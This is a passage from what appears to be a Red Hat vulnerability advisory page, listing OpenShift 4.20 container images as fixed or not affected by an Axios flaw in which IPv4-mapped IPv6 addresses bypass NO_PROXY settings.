| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not properly normalize IPv4-mapped IPv6 addresses. When a NO_PROXY setting is configured to block direct access to specific IPv4 addresses, an attacker can bypass this restriction by using the IPv4-mapped IPv6 form of the address in a request URL. This allows the request to be routed through the proxy, potentially exposing internal services or sensitive information that should otherwise be inaccessible.
8.6 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le | — |
Vendor Fix
fix
Workaround
|
Known not affected
89 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 | — |
Workaround
|
|
